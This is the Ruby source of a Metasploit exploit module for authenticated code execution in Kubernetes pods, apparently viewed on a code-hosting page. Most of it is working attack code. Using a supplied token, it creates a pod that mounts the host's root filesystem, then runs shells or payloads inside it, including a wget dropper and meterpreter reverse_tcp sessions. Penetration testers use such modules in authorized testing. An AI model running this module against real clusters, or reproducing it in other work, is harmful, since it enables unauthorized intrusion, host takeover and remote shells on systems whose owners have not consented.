rapid7/metasploit-framework

View on GitHub
modules/exploits/multi/kubernetes/exec.rb

Summary

Maintainability
D
2 days
Test Coverage
# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ManualRanking

  include Msf::Exploit::Retry
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Kubernetes

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kubernetes authenticated code execution',
        'Description' => %q{
          Execute a payload within a Kubernetes pod.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'alanfoster',
          'Spencer McIntyre'
        ],
        'References' => [
        ],
        'Notes' => {
          'SideEffects' => [
            ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
            CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
            IOC_IN_LOGS # a log event is generated if a new pod is created
          ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'DefaultOptions' => {
          'SSL' => true
        },
        'Targets' => [
          [
            'Interactive WebSocket',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_stream,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact',
                  'ConnectionType' => 'find'
                }
              }
            }
          ],
          [
            'Unix Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'Type' => :nix_cmd
            }
          ],
          [
            'Linux Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux',
              'Type' => :nix_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'wget',
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Python',
            {
              'Arch' => [ARCH_PYTHON],
              'Platform' => 'python',
              'Type' => :python,
              'PAYLOAD' => 'python/meterpreter/reverse_tcp'
            }
          ]
        ],
        'DisclosureDate' => '2021-10-01',
        'DefaultTarget' => 0,
        'Platform' => [ 'linux', 'unix' ],
        'SessionTypes' => [ 'meterpreter' ]
      )
    )

    register_options(
      [
        Opt::RHOSTS(nil, false),
        Opt::RPORT(nil, false),
        Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
        OptString.new('TOKEN', [ false, 'The JWT token' ]),
        OptString.new('POD', [ false, 'The pod name to execute in' ]),
        OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
        OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
      ]
    )

    register_advanced_options(
      [
        OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
        OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
      ]
    )
  end

  def pod_name
    @pod_name || datastore['POD']
  end

  def create_pod
    if datastore['PodImage'].blank?
      image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
      fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
    else
      image_names = [ datastore['PodImage'] ]
    end

    ready = false
    image_names.each do |image_name|
      print_status("Using image: #{image_name}")

      random_identifiers = Rex::RandomIdentifier::Generator.new({
        first_char_set: Rex::Text::LowerAlpha,
        char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
      })
      new_pod_definition = {
        apiVersion: 'v1',
        kind: 'Pod',
        metadata: {
          name: random_identifiers[:pod_name],
          labels: {}
        },
        spec: {
          containers: [
            {
              name: random_identifiers[:container_name],
              image: image_name,
              command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
              volumeMounts: [
                {
                  mountPath: '/host_mnt',
                  name: random_identifiers[:volume_name]
                }
              ]
            }
          ],
          volumes: [
            {
              name: random_identifiers[:volume_name],
              hostPath: {
                path: '/'
              }
            }
          ]
        }
      }
      new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]

      @pod_name = random_identifiers[:pod_name]
      print_good("Pod created: #{pod_name}")

      print_status('Waiting for the pod to be ready...')
      ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
        pod = @kubernetes_client.get_pod(pod_name, namespace)
        pod_status = pod[:status]
        next if pod_status == 'Failure'

        container_statuses = pod_status[:containerStatuses]
        next unless container_statuses

        ready = container_statuses.any? { |status| status[:ready] }
        ready
      rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
        elog(e)
        false
      end

      if ready
        report_note(
          type: 'kubernetes.pod',
          host: rhost,
          port: rport,
          data: {
            pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
            imageName: image_name
          },
          update: :unique_data
        )

        break
      end

      print_error('The pod failed to start within the expected timeframe')

      begin
        @kubernetes_client.delete_pod(@pod_name, namespace)
      rescue StandardError
        print_error('Failed to delete the pod')
      end
    end

    fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
  end

  def exploit
    if session
      print_status("Routing traffic through session: #{session.sid}")
      configure_via_session
    end

    validate_configuration!

    @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })

    create_pod if pod_name.blank?

    case target['Type']
    when :nix_stream
      # Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
      websocket = @kubernetes_client.exec_pod(
        pod_name,
        datastore['Namespace'],
        datastore['Shell'],
        'stdin' => true,
        'stdout' => true,
        'stderr' => true,
        'tty' => false
      )

      print_good('Successfully established the WebSocket')
      channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
      handler(channel.lsock)
    when :nix_cmd
      execute_command(payload.encoded)
    when :nix_dropper
      execute_cmdstager
    else
      execute_command(payload.encoded)
    end
  rescue Rex::Proto::Http::WebSocket::ConnectionError => e
    res = e.http_response
    fail_with(Failure::Unreachable, e.message) if res.nil?
    fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
    fail_with(Failure::Unknown, e.message)
  else
    report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
  end

  def execute_command(cmd, _opts = {})
    case target['Platform']
    when 'python'
      command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
    else
      command = [datastore['Shell'], '-c', cmd]
    end

    result = @kubernetes_client.exec_pod_capture(
      pod_name,
      datastore['Namespace'],
      command,
      'stdin' => false,
      'stdout' => true,
      'stderr' => true,
      'tty' => false
    ) do |stdout, stderr|
      print_line(stdout.strip) unless stdout.blank?
      print_line(stderr.strip) unless stderr.blank?
    end

    fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?

    status = result&.dig(:error, 'status')
    fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
  end
end